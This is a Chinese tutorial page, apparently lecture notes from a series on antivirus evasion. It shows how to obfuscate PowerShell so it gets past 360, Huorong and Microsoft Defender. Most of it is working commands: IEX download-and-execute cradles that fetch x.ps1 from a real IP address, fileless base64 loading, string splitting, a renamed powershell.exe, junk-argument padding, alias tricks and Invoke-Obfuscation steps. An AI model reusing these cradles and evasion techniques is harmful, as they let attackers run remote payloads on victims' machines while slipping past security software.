第109天:免杀对抗-PowerShell混淆分离加载特征修改EXE生成填充替换

news/2024/10/12 22:14:33

知识点

知识点:

1、Powershell-对变量数据做文章
2、Powershell-对Shellcode做文章
3、Powershell-对执行代码特征做文章

章节点:

编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态

对抗目标:
X60 Defender 某绒 管家 VT等

编程语言:
C/C++ Python C# Go Powershell Ruby Java ASM等

涉及技术:
ShellCode混淆加密,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等

演示案例

1、PowerShell-文件模式-混淆过某绒

2、PowerShell-文件模式-分离过某60

3、PowerShell-文件模式-特征修改过DF

4、PowerShell-EXE模式-Ladon&Win-PS2

5、PowerShell-命令模式-加载&替换&填充等

#PowerShell-文件模式-混淆过某绒

1、手工混淆:变量进行编码后解码
$bb=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($x))
powershell -ExecutionPolicy bypass -File hr.ps1

2、项目混淆:Invoke-Obfuscation
https://github.com/danielbohannon/Invoke-Obfuscation
加载模块:Import-Module ./Invoke-Obfuscation.psd1
运行程序:Invoke-Obfuscation
处理文件:set scriptpath C:\Users\86135\Desktop\1.ps1
处理代码:set scriptblock 'xxxx'
进入编码:encoding
选择编码:1-8
输出文件:out C:\Users\86135\Desktop\11.ps1

#PowerShell-文件模式-分离过某60

混淆无文件:
无文件:
$d= ((New-Object System.Net.Webclient).DownloadString('http://47.94.236.117/1.txt'))
解码:
$x=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($d))

http://47.94.236.117/1.txt = $d base64数据
$d= ((New-Object System.Net.Webclient).DownloadString('http://47.94.236.117/1.txt'))
$x=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($d))

#PowerShell-文件模式-特征修改过DF

Fuzz DF查杀特征
1、Shellcode换格式
2、变量名&函数名全修改

#PowerShell-EXE模式-Ladon&Win-PS2

GUI-X工具箱内置Ladon
https://github.com/MScholtes/Win-PS2EXE

#PowerShell-命令模式-加载&替换&填充等

1、原型:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.94.236.117/x.ps1'))"

2、替换文件名:
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.94.236.117/x.ps1''));';IEX ($a+$b)"
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt
bypass.txt "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.94.236.117/x.ps1''));';IEX ($a+$b)"

3、垃圾数据干扰:
powershell -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht'+'tp://47.94.236.117/x.ps1')

4、替换关键字:
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.236.117/x.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

5、Ladon混淆命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/70836.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

第110天:免杀对抗-GOC#反VT沙盒逆向调试参数加载资源分离混淆加密

知识点 #知识点: 1、C#-混淆&分离&反调试 2、GO-混淆&分离&反调试 3、成品程序-包含反调试VT #章节点: 编译代码面-ShellCode-混淆 编译代码面-编辑执行器-编写 编译代码面-分离加载器-编写 程序文件面-特征码定位-修改 程序文件面-加壳花指令-资源 代码加载…

2024-2025-1 20241413 《计算机基础与程序设计》第三周学习总结

作业信息这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP这个作业要求在哪里 https://www.cnblogs.com/rocedu/p/9577842.html#WEEK03这个作业的目标 数字分类与计数法 位置计数法 进制转换 模拟数据与数字数据 压缩与解压 数字化 信息安全---- -…

第108天:免杀对抗-Python混淆算法反序列化打包生成器Py2exeNuitka

知识点 #知识点: 1、Python-对执行代码做文章 2、Python-对shellcode做文章 3、Python-对代码打包器做文章 #章节点: 编译代码面-ShellCode-混淆 编译代码面-编辑执行器-编写 编译代码面-分离加载器-编写 程序文件面-特征码定位-修改 程序文件面-加壳花指令-资源 代码加载面-…

107-免杀对抗-CC++溯源ShellCode上线混淆变异算法回调编译执行

知识点 #知识点: 1、ShellCode-分析&朔源&感知 2、ShellCode-混淆&编码&算法 3、回调执行解析-API&汇编&句柄 #章节点: 编译代码面-ShellCode-混淆 编译代码面-编辑执行器-编写 编译代码面-分离加载器-编写 程序文件面-特征码定位-修改 程序文件面-加…

axios二次封装

axios二次封装有利于减少代码量,更好的管理api ①在src目录下创建api目录。api目录用于存放今后页面不同模块的接口信息。 具体的接口含义如下:②将来要实现的效果如下:import axiosRequest from "./utils/request/http"; axiosRequest({path: "product"…

IDEA中git提交前如何关闭code analysis以及开启格式化代码

前言 我们在使用IDEA开发时,经常是和GIT一起来使用的,可以说,IDEA和GIT结合的非常好,是深度绑定的,使用起来非常方便。 今天,介绍一下IDEA在提交代码前的一些设置。 我们是不是经常遇到一个问题,那就是我们在执行commit和push的时候,IDEA默认会执行代码检查,这是保证我…

idea-java序列化serialversionUID自动生成

简介 java.io.Serializable 是 Java 中的一个标记接口(marker interface),它没有任何方法或字段。当一个类实现了 Serializable 接口,那么这个类的对象就可以被序列化和反序列化。序列化是将对象的状态转换为字节流的过程,这样可以方便地将对象存储到文件中或者通过网络传…

高级语言程序设计课程第三次个人作业

姓名:林永庆 学号:102400121 班级:https://edu.cnblogs.com/campus/fzu/2024C 作业:https://edu.cnblogs.com/campus/fzu/2024C/homework/13284 4.8 2 记得是\n3 指数是%e4 数组保存名字6 %d 可以动态指定长度7 FLT_DIG是%d形式的8 注意type5.11 1 局部变量和全局变量的区别…